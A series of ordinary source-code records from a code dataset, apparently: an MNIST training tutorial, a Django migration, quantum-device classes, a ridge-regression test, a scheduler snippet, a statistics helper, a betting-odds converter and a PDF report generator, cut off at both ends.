main()","sub_path":"11/manhattan_tourist.py","file_name":"manhattan_tourist.py","file_ext":"py","file_size_in_byte":1617,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"56"} +{"seq_id":"89603058","text":"'''\nOpenDeep MNIST Example / Tutorial\n\n'''\nfrom opendeep.log.logger import config_root_logger\nfrom opendeep.models.container import Prototype\nfrom opendeep.models.single_layer.basic import BasicLayer, SoftmaxLayer\nfrom opendeep.optimization.stochastic_gradient_descent import SGD\nfrom opendeep.data.standard_datasets.image.mnist import MNIST\n\n# set up the logger to print everything to stdout and log files in opendeep/log/logs/\nconfig_root_logger()\n\ndef create_mlp():\n # This method is to demonstrate adding layers one-by-one to a Prototype container.\n # As you can see, inputs_hook are created automatically by Prototype so we don't need to specify!\n mlp = Prototype()\n mlp.add(BasicLayer(input_size=28*28, output_size=512, activation='rectifier', noise='dropout'))\n mlp.add(BasicLayer(output_size=512, activation='rectifier', noise='dropout'))\n mlp.add(SoftmaxLayer(output_size=10))\n\n return mlp\n\ndef main():\n # grab our dataset (and don't concatenate together train and valid sets)\n mnist_dataset = MNIST(concat_train_valid=False)\n # create the mlp model from a Prototype\n mlp = create_mlp()\n # create an optimizer to train the model (stochastic gradient descent)\n optimizer = SGD(model=mlp,\n dataset=mnist_dataset,\n n_epoch=500,\n batch_size=600,\n learning_rate=.01,\n momentum=.9,\n nesterov_momentum=True,\n save_frequency=500)\n # train it! feel free to do a KeyboardInterrupt - it will save the latest parameters.\n optimizer.train()\n\nif __name__ == '__main__':\n main()","sub_path":"lib/opendeep_mnist.py","file_name":"opendeep_mnist.py","file_ext":"py","file_size_in_byte":1653,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"56"} +{"seq_id":"475315871","text":"# -*- coding: utf-8 -*-\nfrom __future__ import unicode_literals\n\nfrom django.db import models, migrations\n\n\nclass Migration(migrations.Migration):\n\n dependencies = [\n ('casos', '0008_auto_20160111_1340'),\n ]\n\n operations = [\n migrations.AlterField(\n model_name='caso',\n name='estatus',\n field=models.BooleanField(default=True, verbose_name=b'Activo', editable=False),\n ),\n ]\n","sub_path":"apps/casos/migrations/0009_auto_20160129_1636.py","file_name":"0009_auto_20160129_1636.py","file_ext":"py","file_size_in_byte":441,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"56"} +{"seq_id":"456587183","text":"##############################################################################\n# Copyright 2016-2019 Rigetti Computing\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\");\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\n##############################################################################\nimport warnings\nfrom abc import ABC, abstractmethod\nfrom typing import Any, Dict, List, Optional, Tuple, Union\n\nimport networkx as nx\nimport numpy as np\n\nfrom pyquil.device._isa import Edge, GateInfo, ISA, MeasureInfo, Qubit, isa_from_graph, isa_to_graph\nfrom pyquil.device._specs import Specs, specs_from_graph\nfrom pyquil.noise import NoiseModel\n\nPERFECT_FIDELITY = 1e0\nPERFECT_DURATION = 1 / 100\nDEFAULT_CZ_DURATION = 200\nDEFAULT_CZ_FIDELITY = 0.89\nDEFAULT_ISWAP_DURATION = 200\nDEFAULT_ISWAP_FIDELITY = 0.90\nDEFAULT_CPHASE_DURATION = 200\nDEFAULT_CPHASE_FIDELITY = 0.85\nDEFAULT_XY_DURATION = 200\nDEFAULT_XY_FIDELITY = 0.86\nDEFAULT_RX_DURATION = 50\nDEFAULT_RX_FIDELITY = 0.95\nDEFAULT_MEASURE_FIDELITY = 0.90\nDEFAULT_MEASURE_DURATION = 2000\n\n\nclass AbstractDevice(ABC):\n @abstractmethod\n def qubits(self) -> List[int]:\n \"\"\"\n A sorted list of qubits in the device topology.\n \"\"\"\n\n @abstractmethod\n def qubit_topology(self) -> nx.Graph:\n \"\"\"\n The connectivity of qubits in this device given as a NetworkX graph.\n \"\"\"\n\n @abstractmethod\n def get_isa(self, oneq_type: str = \"Xhalves\", twoq_type: str = \"CZ\") -> ISA:\n \"\"\"\n Construct an ISA suitable for targeting by compilation.\n\n This will raise an exception if the requested ISA is not supported by the device.\n\n :param oneq_type: The family of one-qubit gates to target\n :param twoq_type: The family of two-qubit gates to target\n \"\"\"\n\n @abstractmethod\n def get_specs(self) -> Optional[Specs]:\n \"\"\"\n Construct a Specs object required by compilation\n \"\"\"\n\n\nclass Device(AbstractDevice):\n \"\"\"\n A device (quantum chip) that can accept programs.\n\n Only devices that are online will actively be\n accepting new programs. In addition to the ``self._raw`` attribute, two other attributes are\n optionally constructed from the entries in ``self._raw`` -- ``isa`` and ``noise_model`` -- which\n should conform to the dictionary format required by the ``.from_dict()`` methods for ``ISA``\n and ``NoiseModel``, respectively.\n\n :ivar dict _raw: Raw JSON response from the server with additional information about the device.\n :ivar ISA isa: The instruction set architecture (ISA) for the device.\n :ivar NoiseModel noise_model: The noise model for the device.\n \"\"\"\n\n def __init__(self, name: str, raw: Dict[str, Any]):\n \"\"\"\n :param name: name of the device\n :param raw: raw JSON response from the server with additional information about this device.\n \"\"\"\n self.name = name\n self._raw = raw\n\n # TODO: Introduce distinction between supported ISAs and target ISA\n self._isa = ISA.from_dict(raw[\"isa\"]) if \"isa\" in raw and raw[\"isa\"] != {} else None\n self.specs = Specs.from_dict(raw[\"specs\"]) if raw.get(\"specs\") else None\n self.noise_model = (\n NoiseModel.from_dict(raw[\"noise_model\"]) if raw.get(\"noise_model\") else None\n )\n\n @property\n def isa(self) -> Optional[ISA]:\n warnings.warn(\"Accessing the static ISA is deprecated. Use `get_isa`\", DeprecationWarning)\n return self._isa\n\n def qubits(self) -> List[int]:\n assert self._isa is not None\n return sorted(q.id for q in self._isa.qubits if not q.dead)\n\n def qubit_topology(self) -> nx.Graph:\n \"\"\"\n The connectivity of qubits in this device given as a NetworkX graph.\n \"\"\"\n assert self._isa is not None\n return isa_to_graph(self._isa)\n\n def get_specs(self) -> Optional[Specs]:\n return self.specs\n\n def get_isa(self, oneq_type: Optional[str] = None, twoq_type: Optional[str] = None) -> ISA:\n \"\"\"\n Construct an ISA suitable for targeting by compilation.\n\n This will raise an exception if the requested ISA is not supported by the device.\n \"\"\"\n if oneq_type is not None or twoq_type is not None:\n raise ValueError(\n \"oneq_type and twoq_type are both fatally deprecated. If you want to \"\n \"make an ISA with custom gate types, you'll have to do it by hand.\"\n )\n\n def safely_get(attr: str, index: Union[int, Tuple[int, ...]], default: Any) -> Any:\n if self.specs is None:\n return default\n\n getter = getattr(self.specs, attr, None)\n if getter is None:\n return default\n\n array = getter()\n if (isinstance(index, int) and index < len(array)) or index in array:\n return array[index]\n else:\n return default\n\n def qubit_type_to_gates(q: Qubit) -> List[Union[GateInfo, MeasureInfo]]:\n gates: List[Union[GateInfo, MeasureInfo]] = [\n MeasureInfo(\n operator=\"MEASURE\",\n qubit=q.id,\n target=\"_\",\n fidelity=safely_get(\"fROs\", q.id, DEFAULT_MEASURE_FIDELITY),\n duration=DEFAULT_MEASURE_DURATION,\n ),\n MeasureInfo(\n operator=\"MEASURE\",\n qubit=q.id,\n target=None,\n fidelity=safely_get(\"fROs\", q.id, DEFAULT_MEASURE_FIDELITY),\n duration=DEFAULT_MEASURE_DURATION,\n ),\n ]\n if q.type is None or \"Xhalves\" in q.type:\n gates += [\n GateInfo(\n operator=\"RZ\",\n parameters=[\"_\"],\n arguments=[q.id],\n duration=PERFECT_DURATION,\n fidelity=PERFECT_FIDELITY,\n ),\n GateInfo(\n operator=\"RX\",\n parameters=[0.0],\n arguments=[q.id],\n duration=DEFAULT_RX_DURATION,\n fidelity=PERFECT_FIDELITY,\n ),\n ]\n gates += [\n GateInfo(\n operator=\"RX\",\n parameters=[param],\n arguments=[q.id],\n duration=DEFAULT_RX_DURATION,\n fidelity=safely_get(\"f1QRBs\", q.id, DEFAULT_RX_FIDELITY),\n )\n for param in [np.pi, -np.pi, np.pi / 2, -np.pi / 2]\n ]\n if q.type is not None and \"WILDCARD\" in q.type:\n gates += [\n GateInfo(\n operator=\"_\",\n parameters=\"_\",\n arguments=[q.id],\n duration=PERFECT_DURATION,\n fidelity=PERFECT_FIDELITY,\n )\n ]\n return gates\n\n def edge_type_to_gates(e: Edge) -> List[GateInfo]:\n gates: List[GateInfo] = []\n if (\n e is None\n or isinstance(e.type, str)\n and \"CZ\" == e.type\n or isinstance(e.type, list)\n and \"CZ\" in e.type\n ):\n gates += [\n GateInfo(\n operator=\"CZ\",\n parameters=[],\n arguments=[\"_\", \"_\"],\n duration=DEFAULT_CZ_DURATION,\n fidelity=safely_get(\"fCZs\", tuple(e.targets), DEFAULT_CZ_FIDELITY),\n )\n ]\n if (\n e is None\n or isinstance(e.type, str)\n and \"ISWAP\" == e.type\n or isinstance(e.type, list)\n and \"ISWAP\" in e.type\n ):\n gates += [\n GateInfo(\n operator=\"ISWAP\",\n parameters=[],\n arguments=[\"_\", \"_\"],\n duration=DEFAULT_ISWAP_DURATION,\n fidelity=safely_get(\"fISWAPs\", tuple(e.targets), DEFAULT_ISWAP_FIDELITY),\n )\n ]\n if (\n e is None\n or isinstance(e.type, str)\n and \"CPHASE\" == e.type\n or isinstance(e.type, list)\n and \"CPHASE\" in e.type\n ):\n gates += [\n GateInfo(\n operator=\"CPHASE\",\n parameters=[\"theta\"],\n arguments=[\"_\", \"_\"],\n duration=DEFAULT_CPHASE_DURATION,\n fidelity=safely_get(\"fCPHASEs\", tuple(e.targets), DEFAULT_CPHASE_FIDELITY),\n )\n ]\n if (\n e is None\n or isinstance(e.type, str)\n and \"XY\" == e.type\n or isinstance(e.type, list)\n and \"XY\" in e.type\n ):\n gates += [\n GateInfo(\n operator=\"XY\",\n parameters=[\"theta\"],\n arguments=[\"_\", \"_\"],\n duration=DEFAULT_XY_DURATION,\n fidelity=safely_get(\"fXYs\", tuple(e.targets), DEFAULT_XY_FIDELITY),\n )\n ]\n if (\n e is None\n or isinstance(e.type, str)\n and \"WILDCARD\" == e.type\n or isinstance(e.type, list)\n and \"WILDCARD\" in e.type\n ):\n gates += [\n GateInfo(\n operator=\"_\",\n parameters=\"_\",\n arguments=[\"_\", \"_\"],\n duration=PERFECT_DURATION,\n fidelity=PERFECT_FIDELITY,\n )\n ]\n return gates\n\n assert self._isa is not None\n qubits = [\n Qubit(id=q.id, type=None, dead=q.dead, gates=qubit_type_to_gates(q))\n for q in self._isa.qubits\n ]\n edges = [\n Edge(targets=e.targets, type=None, dead=e.dead, gates=edge_type_to_gates(e))\n for e in self._isa.edges\n ]\n return ISA(qubits, edges)\n\n def __str__(self) -> str:\n return \"\".format(self.name)\n\n def __repr__(self) -> str:\n return str(self)\n\n\nclass NxDevice(AbstractDevice):\n \"\"\"A shim over the AbstractDevice API backed by a NetworkX graph.\n\n A ``Device`` holds information about the physical device.\n Specifically, you might want to know about connectivity, available gates, performance specs,\n and more. This class implements the AbstractDevice API for devices not available via\n ``get_devices()``. Instead, the user is responsible for constructing a NetworkX\n graph which represents a chip topology.\n \"\"\"\n\n def __init__(self, topology: nx.Graph) -> None:\n self.topology = topology\n\n def qubit_topology(self) -> nx.Graph:\n return self.topology\n\n def get_isa(\n self, oneq_type: str = \"Xhalves\", twoq_type: Optional[Union[str, List[str]]] = None\n ) -> ISA:\n return isa_from_graph(self.topology, oneq_type=oneq_type, twoq_type=twoq_type)\n\n def get_specs(self) -> Specs:\n return specs_from_graph(self.topology)\n\n def qubits(self) -> List[int]:\n return sorted(self.topology.nodes)\n\n def edges(self) -> List[Tuple[Any, ...]]:\n return sorted(tuple(sorted(pair)) for pair in self.topology.edges)\n","sub_path":"pyquil/device/_main.py","file_name":"_main.py","file_ext":"py","file_size_in_byte":12338,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"56"} +{"seq_id":"444434079","text":"import unittest\n\nimport archaea.machine_learning.ridge_regression.ridge_reg_trainer as trainer\nimport numpy as num_py\n\nimport archaea.machine_learning.ridge_regression.ridge_reg_builder as lr_builder\nfrom api.services.ridge_reg_service import RidgeRegressionTrainWorkerThread\nfrom api.services.application_service import ApplicationService\n\n\nclass TestLinearRegressionTrainerTest(unittest.TestCase):\n\n def test_train_lr_function_multidimensional_input(self):\n linear_reg = lr_builder.RidgeRegressionBuilder(alpha=0.00001,\n fit_intercept=True,\n normalize=False,\n copy_X=True,\n max_iter=50).build()\n x = [[0.1, 0.2, 0.3, 0.4],[0.2, 0.4, 0.8, 0.9]]\n y = [4.1719776, 30.38459717, 146.70090266]\n application = ApplicationService.get_applications({\n 'application_key': 'd41ed7b5-f3b4-11e6-9ee2-6c4008bb2c08',\n 'application_secret': 'd41ed8c7-f3b4-11e6-abb6-6c4008bb2c08'\n })\n r_trainer_thread = RidgeRegressionTrainWorkerThread(rr=linear_reg,\n data_points=x,\n expectations=y,\n application=application[0])\n r_trainer_thread.start()\n","sub_path":"tests/ridge_regression_tests.py","file_name":"ridge_regression_tests.py","file_ext":"py","file_size_in_byte":1492,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"56"} +{"seq_id":"402706362","text":"from apscheduler.schedulers.blocking import BlockingScheduler\r\nfrom apscheduler.schedulers.background import BackgroundScheduler\r\nfrom datetime import datetime\r\nfrom logger import *\r\ndef job(day,month):\r\n print(month)\r\n log(datetime.now().strftime(\"%Y-%m-%d %H:%M:%S\"))\r\n\r\ndef scheduler(job,min,*my_args):\r\n scheduler = BackgroundScheduler()\r\n scheduler.add_job(job, 'cron', my_args, month='1-12', hour='23', minute = min)\r\n scheduler.start()\r\n\r\nif __name__==\"__main__\":\r\n scheduler(job,1,2)\r\n while(True):\r\n time.sleep(10)","sub_path":"schedule.py","file_name":"schedule.py","file_ext":"py","file_size_in_byte":551,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"56"} +{"seq_id":"34444052","text":"#\n# Copyright 2013 Y12Studio\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\");\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\nimport m_dys388icon as ledicon\nimport m_dys388dbp as ledDys388\nimport numpy as np\nimport collections, array\nimport numpy as np\nfrom scipy import stats\n\nclass StatSizeDiff:\n def __init__(self, queueSize):\n self.size = queueSize\n self.xi = np.arange(0,queueSize)\n self.sizeQueue = collections.deque(maxlen=queueSize)\n self.diffQueue = collections.deque(maxlen=queueSize)\n self.stdQueue = collections.deque(maxlen=queueSize)\n self.rQueue = collections.deque(maxlen=queueSize)\n for i in range(queueSize):\n self.sizeQueue.append(0)\n self.diffQueue.append(0)\n self.stdQueue.append(0)\n self.rQueue.append(0)\n \n def getNpStd(self,s):\n self._addSize(s)\n stddev = int(np.std(self.diffQueue))\n self.stdQueue.append(stddev)\n #print 'STD_DEV=',['%.2f'%i for i in self.stdQueue]\n return stddev\n \n def _addSize(self,s):\n self.sizeQueue.append(s)\n #print \"SIZE=\",self.sizeQueue\n diff = abs(self.sizeQueue[self.size-1]-self.sizeQueue[self.size-2])\n self.diffQueue.append(diff)\n #print \"DIFF=\",self.diffQueue \n \n def getScipiLinregress(self,s):\n self._addSize(s)\n slope, intercept, r_value, p_value, std_err = stats.linregress(self.xi,self.diffQueue)\n self.stdQueue.append(std_err)\n self.rQueue.append(r_value)\n #print 'STDERR=',['%.2f'%i for i in self.stdQueue]\n #print 'R=',['%.2f'%i for i in self.rQueue]\n return std_err\n \n\n","sub_path":"testonly/mpush2/m_stat.py","file_name":"m_stat.py","file_ext":"py","file_size_in_byte":2149,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"56"} +{"seq_id":"418991059","text":"import re\n\nfrom betfairclient.markettype import MarketType\nfrom sqlrepository.data.event import Event\nfrom sqlrepository.data.market import Market\nfrom sqlrepository.data.odds import Odds\nfrom sqlrepository.data.overunder import OverUnder15\nfrom sqlrepository.data.overunder05 import OverUnder05\nfrom sqlrepository.data.correctscore import CorrectScore\n\nimport yaml\n\nfrom sqlrepository.data.overunder25 import OverUnder25\n\n\nclass Converter(object):\n def __init__(self, **kwargs):\n\n with open(\"config.yaml\", 'r') as ymlfile:\n self.cfg = yaml.load(ymlfile)\n self.converters = {\n \"MATCH_ODDS\": Odds,\n \"OVER_UNDER_15\": OverUnder15,\n \"OVER_UNDER_25\": OverUnder25,\n \"OVER_UNDER_05\": OverUnder05,\n \"CORRECT_SCORE\": CorrectScore\n }\n\n self.runners = {\n\n \"MATCH_ODDS\": [\"HB1S\", \"HB1\", \"HB2S\", \"HB2\", \"HB3S\", \"HB3\",\n \"HL1S\", \"HL1\", \"HL2S\", \"HL2\", \"HL3S\", \"HL3\",\n \"XB1S\", \"XB1\", \"XB2S\", \"XB2\", \"XB3S\", \"XB3\",\n \"XL1S\", \"XL1\", \"XL2S\", \"XL2\", \"XL3S\", \"XL3\",\n \"AB1S\", \"AB1\", \"AB2S\", \"AB2\", \"AB3S\", \"AB3\",\n \"AL1S\", \"AL1\", \"AL2S\", \"AL2\", \"AL3S\", \"AL3\"],\n\n \"OVER_UNDER_15\": [\"O15B1S\", \"O15B1\", \"O15B2S\", \"O15B2\", \"O15B3S\", \"O15B3\",\n \"O15L1S\", \"O15L1\", \"O15L2S\", \"O15L2\", \"O15L3S\", \"O15L3\",\n \"U15B1S\", \"U15B1\", \"U15B2S\", \"U15B2\", \"U15B3S\", \"U15B3\",\n \"U15L1S\", \"U15L1\", \"U15L2S\", \"U15L2\", \"U15L3S\", \"U15L3\"],\n\n \"OVER_UNDER_25\": [\"O25B1S\", \"O25B1\", \"O25B2S\", \"O25B2\", \"O25B3S\", \"O25B3\",\n \"O25L1S\", \"O25L1\", \"O25L2S\", \"O25L2\", \"O25L3S\", \"O25L3\",\n \"U25B1S\", \"U25B1\", \"U25B2S\", \"U25B2\", \"U25B3S\", \"U25B3\",\n \"U25L1S\", \"U25L1\", \"U25L2S\", \"U25L2\", \"U25L3S\", \"U25L3\"],\n\n \"OVER_UNDER_05\": [\"U05B1S\", \"U05B1\", \"U05B2S\", \"U05B2\", \"U05B3S\", \"U05B3\", \"U05L1S\", \"U05L1\",\n \"U05L2S\", \"U05L2\", \"U05L3S\", \"U05L3\", \"O05B1S\", \"O05B1\", \"O05B2S\", \"O05B2\",\n \"O05B3S\", \"O05B3\", \"O05L1S\", \"O05L1\", \"O05L2S\", \"O05L2\", \"O05L3S\", \"O05L3\"],\n\n \"CORRECT_SCORE\": [\"C00B1S\", \"C00B1\", \"C00B2S\", \"C00B2\", \"C00B3S\", \"C00B3\", \"C00L1S\", \"C00L1\",\n \"C00L2S\", \"C00L2\", \"C00L3S\", \"C00L3\", \"C01B1S\", \"C01B1\", \"C01B2S\", \"C01B2\",\n \"C01B3S\", \"C01B3\", \"C01L1S\", \"C01L1\", \"C01L2S\", \"C01L2\", \"C01L3S\", \"C01L3\",\n \"C02B1S\", \"C02B1\", \"C02B2S\", \"C02B2\", \"C02B3S\", \"C02B3\", \"C02L1S\", \"C02L1\",\n \"C02L2S\", \"C02L2\", \"C02L3S\", \"C02L3\", \"C03B1S\", \"C03B1\", \"C03B2S\", \"C03B2\",\n \"C03B3S\", \"C03B3\", \"C03L1S\", \"C03L1\", \"C03L2S\", \"C03L2\", \"C03L3S\", \"C03L3\",\n \"C10B1S\", \"C10B1\", \"C10B2S\", \"C10B2\", \"C10B3S\", \"C10B3\", \"C10L1S\", \"C10L1\",\n \"C10L2S\", \"C10L2\", \"C10L3S\", \"C10L3\", \"C11B1S\", \"C11B1\", \"C11B2S\", \"C11B2\",\n \"C11B3S\", \"C11B3\", \"C11L1S\", \"C11L1\", \"C11L2S\", \"C11L2\", \"C11L3S\", \"C11L3\",\n \"C12B1S\", \"C12B1\", \"C12B2S\", \"C12B2\", \"C12B3S\", \"C12B3\", \"C12L1S\", \"C12L1\",\n \"C12L2S\", \"C12L2\", \"C12L3S\", \"C12L3\", \"C13B1S\", \"C13B1\", \"C13B2S\", \"C13B2\",\n \"C13B3S\", \"C13B3\", \"C13L1S\", \"C13L1\", \"C13L2S\", \"C13L2\", \"C13L3S\", \"C13L3\",\n \"C20B1S\", \"C20B1\", \"C20B2S\", \"C20B2\", \"C20B3S\", \"C20B3\", \"C20L1S\", \"C20L1\",\n \"C20L2S\", \"C20L2\", \"C20L3S\", \"C20L3\", \"C21B1S\", \"C21B1\", \"C21B2S\", \"C21B2\",\n \"C21B3S\", \"C21B3\", \"C21L1S\", \"C21L1\", \"C21L2S\", \"C21L2\", \"C21L3S\", \"C21L3\",\n \"C22B1S\", \"C22B1\", \"C22B2S\", \"C22B2\", \"C22B3S\", \"C22B3\", \"C22L1S\", \"C22L1\",\n \"C22L2S\", \"C22L2\", \"C22L3S\", \"C22L3\", \"C23B1S\", \"C23B1\", \"C23B2S\", \"C23B2\",\n \"C23B3S\", \"C23B3\", \"C23L1S\", \"C23L1\", \"C23L2S\", \"C23L2\", \"C23L3S\", \"C23L3\",\n \"C30B1S\", \"C30B1\", \"C30B2S\", \"C30B2\", \"C30B3S\", \"C30B3\", \"C30L1S\", \"C30L1\",\n \"C30L2S\", \"C30L2\", \"C30L3S\", \"C30L3\", \"C31B1S\", \"C31B1\", \"C31B2S\", \"C31B2\",\n \"C31B3S\", \"C31B3\", \"C31L1S\", \"C31L1\", \"C31L2S\", \"C31L2\", \"C31L3S\", \"C31L3\",\n \"C32B1S\", \"C32B1\", \"C32B2S\", \"C32B2\", \"C32B3S\", \"C32B3\", \"C32L1S\", \"C32L1\",\n \"C32L2S\", \"C32L2\", \"C32L3S\", \"C32L3\", \"C33B1S\", \"C33B1\", \"C33B2S\", \"C33B2\",\n \"C33B3S\", \"C33B3\", \"C33L1S\", \"C33L1\", \"C33L2S\", \"C33L2\", \"C33L3S\", \"C33L3\",\n \"CNAHB1S\", \"CNAHB1\", \"CNAHB2S\", \"CNAHB2\", \"CNAHB3S\", \"CNAHB3\", \"CNAHL1S\",\n \"CNAHL1\", \"CNAHL2S\", \"CNAHL2\", \"CNAHL3S\", \"CNAHL3\", \"CNAAB1S\", \"CNAAB1\",\n \"CNAAB2S\", \"CNAAB2\", \"CNAAB3S\", \"CNAAB3\", \"CNAAL1S\", \"CNAAL1\", \"CNAAL2S\",\n \"CNAAL2\", \"CNAAL3S\", \"CNAAL3\", \"CNADB1S\", \"CNADB1\", \"CNADB2S\", \"CNADB2\",\n \"CNADB3S\", \"CNADB3\", \"CNADL1S\", \"CNADL1\", \"CNADL2S\", \"CNADL2\", \"CNADL3S\",\n \"CNADL3\"]\n\n }\n\n super().__init__()\n\n def to_something(self, runners, params):\n p = {}\n current_index = 0\n g_index = 0\n\n for i, r in enumerate(runners):\n\n for index, al in enumerate(r.ex.available_to_back):\n p[params[current_index]] = al.size\n p[params[current_index + 1]] = al.price\n current_index += 2\n\n g_index += 6\n current_index = g_index\n\n for index, al in enumerate(r.ex.available_to_lay):\n p[params[current_index]] = al.size\n p[params[current_index + 1]] = al.price\n current_index += 2\n\n g_index += 6\n current_index = g_index\n\n return p\n\n def json_to_odds(self, market_ids, market_books, market_type):\n odds = []\n for mid, mb in zip(market_ids, market_books):\n runner_params = self.to_something(mb.runners, self.runners[market_type])\n p = dict(runner_params, **{'market_id': mid})\n o = self.converters[market_type](**p)\n odds.append(o)\n return odds\n\n def json_to_markets(self, event_ids, markets, market_type):\n return [Market(event_id=eid,\n market_id=m.market_id,\n type=market_type)\n for eid, m in zip(event_ids, markets)]\n\n def create_event(self, e):\n return Event(event_id=e.event.id,\n name=e.event.name,\n open_date=e.event.open_date,\n league=self.cfg['team']['league'])\n\n def json_to_events(self, events):\n return [self.create_event(e) for e in events if re.findall(' v ', e.event.name)]\n","sub_path":"betfairclient/converter.py","file_name":"converter.py","file_ext":"py","file_size_in_byte":7111,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"56"} +{"seq_id":"497072180","text":"#!/usr/bin/env python\n#-*- coding:utf-8 -*-\nfrom reportlab.lib.units import inch\nfrom reportlab.lib.styles import getSampleStyleSheet\nfrom reportlab.lib.pagesizes import A4\nfrom reportlab.lib import colors\nfrom reportlab.platypus import Paragraph, Table, TableStyle, SimpleDocTemplate\nfrom reportlab.pdfbase import pdfmetrics, ttfonts\n\n#注册字体\npdfmetrics.registerFont(ttfonts.TTFont(\"msyh\", \"msyh.ttf\"))\n\nclass Report(object):\n\n #初始化函数,通过style设置表格的整体风格\n def __init__(self,data=None,style=None):\n\n self.row_pre = 0\n self.row_cur = 0\n if data!=None:\n self.tab_data = data\n else:\n self.tab_data = []\n if style!=None:\n self.tab_style = style\n else:\n self.tab_style = []\n \n #通过调用此函数增加数据 \n def add_content(self,data,style):\n self.__add_data(data)\n self.__add_style(style)\n \n #创建表格,参数为pdf文件名\n def create(self,pdf_name):\n tab = Table(self.tab_data,style = self.tab_style)\n story = []\n story.append(tab)\n doc = SimpleDocTemplate(pdf_name,pagesize = A4)\n doc.build(story)\n #向表格中添加数据,其后调用__add_style\n def __add_data(self,data):\n #记录上一次添加数据后的总行数\n self.row_pre = self.row_cur\n #当前数据行数为上次行数加增加的数据数\n self.row_cur = self.row_cur + len(data)\n #添加数据\n self.tab_data = self.tab_data + data\n\n #为后面添加的数据设置风格,坐标按照一个新的表格设置,如果在外部调用则应该在__add_data()之后\n def __add_style(self,style):\n #确保style是可编辑的\n style=list(style)\n for i in range(len(style)):\n #元素也是可编辑的\n style[i] = list(style[i])\n style[i][1] = list(style[i][1])\n style[i][2] = list(style[i][2])\n #起始坐标\n #如果不是负数,在表格中的坐标为相对坐标加前一次的数据总行数\n if style[i][1][1] >= 0:\n style[i][1][1]=style[i][1][1]+ self.row_pre\n #否则是从后往前算的,坐标为当前行数加相对坐标\n else:\n style[i][1][1] += self.row_cur \n #结束坐标\n if style[i][2][1] >= 0:\n style[i][2][1]=style[i][2][1]+ self.row_pre\n else:\n style[i][2][1] += self.row_cur\n #可有可无,转换为tuple\n style[i][1] = tuple(style[i][1])\n style[i][2] = tuple(style[i][2])\n style[i] = tuple(style[i])\n #把style添加到self.tab_style中去\n self.tab_style = self.tab_style+style\n \n#测试方法\ndef test_report():\n styleT = [('VALIGN',(0,0),(-1,-1),'MIDDLE'),\n ('ALIGN',(0,0),(-1,-1),'CENTER'),\n ('GRID',(0,0),(-1,-1),1,colors.black),\n ('TEXTCOLOR',(0,0),(-1,-1),colors.black),\n ('LEFTPADDING',(0,0),(-1,-1),3),\n ('RIGHTPADDING',(0,0),(-1,-1),3),\n ('BOTTOMPADDING',(0,0),(-1,-1),3),\n ('TOPPADDING',(0,0),(-1,-1),3)\n ]\n report = Report(style=styleT)\n #要显示的数据,必须和相应单元格对齐\n data1 = [['AOSB CDOS RESULT','','','','','','','',''],\n [ 'CentauHauls\\nVIA Nano X2 C4350AL@1.6+GHZ','','','',\n 'AOSB_single_threaded = 21.22\\nAOSB_mult_threading = 32.85'],\n ['AOSB version#:0.5','','Test Time:20150713','','Test Computers:master','','','Test by:wang',''],\n ['Hardware Info\\nCPU:VIA Nano X2 C4350AL@1.6+GHz\\nMEMORY:4G(DDR3 1600MHz)\\nDISK:SAMSUNG_MZ7TD128(128G)' ,'','','',\n 'Software Info\\nSystem Name:CDOS 1.4-rc9-test1-r\\nKernel:3.19.0-cdos\\nDesktop:Gnome','','','','']\n ]\n\n #styleT 设置表格的风格,空行表示设置下一行,第一组设置表格的整体风格\n style1 = [('SPAN',(0,0),(8,0)),\n ('FONT',(0,0),(8,0),'msyh',20),\n ('BACKGROUND',(0,0),(8,0),colors.gray),\n\n ('SPAN',(0,1),(3,1)),\n ('SPAN',(4,1),(8,1)),\n ('FONT',(0,1),(-1,1),'msyh',14),\n\n ('SPAN',(0,2),(1,2)),\n ('SPAN',(2,2),(3,2)),\n ('SPAN',(4,2),(6,2)),\n ('SPAN',(7,2),(8,2)),\n ('SPAN',(0,3),(3,3)),\n ('SPAN',(4,3),(8,3)),\n ('ALIGN',(0,1),(-1,3),'LEFT')\n ]\n report.add_content(data1,style1)\n\n data2 = [['Results Table','','','','','','','',''],\n ['Benchmark','sub','','base\\nline','single_threaded','','base\\nline','multithreading',''],\n ['','include','index','','Seconds','Ratio','','Seconds','Ratio'],\n ['unixbench','d2urv','ips'],\n ['','dpw','MWIPS'],\n ['','et','ips'],\n ['','fc1024','KBps'],\n ['','fc256','KBps'],\n ['','fc4096','KBps'],\n ['','pt','lps'],\n ['','pbcs','lps'],\n ['','pc','lps'],\n ['','ss1','lpm'],\n ['','ss8','lpm'],\n ['','syscall','lps'],\n ['......',''],\n ['......',''],\n ['AOSB_multithreading'],\n ['AOSB_single_threaded'],\n [''],\n ['''HardWare\n CPU Name: VIA QuadCore @ 2.0GHz\n CPU MHz: 1998MHz\n Memroy: 4G ( DDR3 1600MHz )\n Disk: SAMSUNG MZ7TD128HAFV-000L1 128G\n Graphic Card: AMD Radeon HD 7470\n Network Card:Realtek RTL8111/8168 PCI Express''','','','','',\n '''SoftWare\n Operating System: CDOS1.4-RC19\n Kernel: 3.19.0-cdos\n Compiler: GCC 4.8.2\n Fs: EXT4\n Desktop: Cinnamon 2.2.13\n X.org.server: 1.15.1\n OpenGL:3.0 Mesa 10.1.3 Gallium 0.4''']\n ]\n\n #styleT 